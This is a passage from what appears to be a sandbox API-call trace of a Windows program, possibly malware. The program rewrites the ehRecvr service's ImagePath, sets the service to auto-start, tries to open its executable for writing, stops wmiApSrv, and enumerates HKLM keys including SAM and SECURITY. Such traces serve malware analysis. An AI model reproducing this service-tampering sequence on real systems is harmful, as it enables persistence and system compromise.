[0250.712] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.712] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.712] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.712] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.712] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.712] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.712] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0250.712] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0250.712] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\ehome\\ehRecvr.exe", cbData=0x1d | out: lpData="C:\\Windows\\ehome\\ehRecvr.exe") returned 0x0 [0250.712] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\ehome\\ehRecvr.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\ehome\\ehRecvr.exe" [0250.712] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0250.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0250.713] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0250.713] LocalFree (hMem=0x7e4b18) returned 0x0 [0250.713] RegSetValueExA (in: hKey=0xc4, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\ehome\\ehRecvr.exe", cbData=0x1d | out: lpData="C:\\Windows\\ehome\\ehRecvr.exe") returned 0x0 [0250.713] OpenServiceW (hSCManager=0x803918, lpServiceName="ehRecvr", dwDesiredAccess=0x2) returned 0x8038a0 [0250.713] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0250.714] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0250.714] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0250.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0250.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f47c0) returned 1 [0250.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0250.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0250.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.715] RegCloseKey (hKey=0xc4) returned 0x0 [0250.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0250.715] RegCloseKey (hKey=0x14c) returned 0x0 [0250.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0250.715] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0250.715] GetFileAttributesExW (in: lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2fd46aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2fd46aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0250.715] CreateFileW (lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0250.715] GetLastError () returned 0x20 [0250.715] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0250.716] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0250.716] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0250.716] OpenServiceW (hSCManager=0x803918, lpServiceName="wmiApSrv", dwDesiredAccess=0x20) returned 0x803990 [0250.716] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0250.717] GetLastError () returned 0x425 [0250.717] CloseServiceHandle (hSCObject=0x803990) returned 1 [0250.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0250.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0250.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0250.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0250.717] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0250.717] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0250.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.717] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0250.717] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.717] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.717] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.717] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.718] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0250.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0250.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.718] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0250.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0250.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.718] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0250.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0250.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.718] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.718] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0250.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.718] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0250.718] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.719] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0250.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0250.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.719] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0250.719] RegCloseKey (hKey=0x80000002) returned 0x0 [0250.719] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0250.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0250.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.719] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.719] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0250.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0250.719] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0250.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.720] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0250.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0250.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f18e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0250.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.720] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0250.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0250.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.720] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0250.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0250.720] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.720] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.720] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0250.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0250.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.721] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0250.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0250.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.721] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0250.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0250.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.721] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.721] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0250.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0250.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0250.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0250.721] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.722] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0250.722] RtlFreeHeap 